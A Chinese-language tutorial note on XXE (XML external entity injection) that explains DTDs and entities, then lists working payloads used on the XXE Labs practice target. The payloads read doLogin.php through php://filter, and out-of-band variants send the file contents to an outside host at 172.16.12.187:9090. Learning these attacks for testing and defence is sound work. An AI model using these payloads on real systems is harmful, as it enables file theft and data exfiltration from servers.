跳到主要内容

XXE

XML基础

与HTML区别:HTML是被设计用来展示数据,XML是用来传输数据

在xml文档内部的定义

<?xml version="1.0"?> #XML声明
<!DOCTYPE note[ #定义此文档为关于note元素的文档
<!ELEMENT note(to,from,heading,body)> #定义note元素有四个元素
<!ELEMENT to(#PCDATA)> #定义to元素的类型为#PCDATA
<!ELEMENT from(#PCDATA)> #文档类型定义(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>George</to>
<from>xiaoming</from>
<heading>Reminder</heading>
<body>xxxxx</body>
</note>
  1. DTD使数据格式之间按照相同的标准来传输
  2. DTD是一种XML约束模式语言,用来解释XML文档

XML文档引用外部DTD

outdtd.dtd

<?xm1 version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>]>

out.xml

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://localhost/outdtd.dtd">
<note>
<to>George</to>
<from>xiaoming</from>
</note>

XML文档内外结合引用外部DTD

image-20221013095337300

XML实体类型

实体类型分为普通实体和参数实体

文档中实体相当于其他语言的变量,实体名即为变量名,实体值即为变量的值。引用xml实体主要用到&/%符号

image-20221013100056713

XML实体支持的协议

在后端语言与xml联动时,xm|实体支持的协议都是后端语言重新封装的伪协议

image-20221013100713086

XXE漏洞利用

有回显的XXE

利用XXE Labs内部声明调用普通实体

<?xm1 version='1.0'?>
<!DOCTYPE abc [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]>
<user>
<username>&test;</username> #注意要加分号
<password>admin</password>
</user>

利用XXELabs外部引用参数实体

evil.dtd

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % test SYSTEM " http://172.16.12.187:9090/evil.dtd">
//%test指定参数实体test
//SYSTEM"http://172.16.12.187:9090/evi1.dtd">test参数实体引用外部dtd
%test;
//调用参数实体test,调用后只需要在有输出的位置将外部实体调用一次即可获取结果。
]>
<user><username>&xxe;</username><password>admin</password></user>

无回显的XXE

外部DTD

payload

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % dtd SYSTEM "http://172.16.12.187:9090/evil.xml">
%dtd;
%send;
]>
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://172.16.12.187:9090/?content=%file;'>">
%payload;
%send;
]>

外部DTD

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://172.16.12.187:9090/?content=%file;'>"> %payload;

完全外部DTD

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [<!ENTITY % a SYSTEM "http://172.16.12.187:9090/evil1.dtd">
%a;%y;%z;
]>

外部DTD

<!ENTITY % x SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % y "<!ENTITY &#37; z SYSTEM 'http://172.16.12.187:9090/?123=%x;'>">

XXE漏洞原理

概述

XXE漏洞即为xm|外部实体注入漏洞

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部DTD文件

漏洞产生原因

对输入的xml文件没有进行过滤,导致可输入恶意xm|文件

漏洞的危害

  1. 读取任意文件
  2. 执行系统命令(expect扩展,默认不安装)
  3. 内网端口扫描
  4. 攻击内网其他网站(利用GET请求攻击)

XXE漏洞挖掘条件

  • 服务器能够解析xml
  • 服务器允许xml进行外部实体调用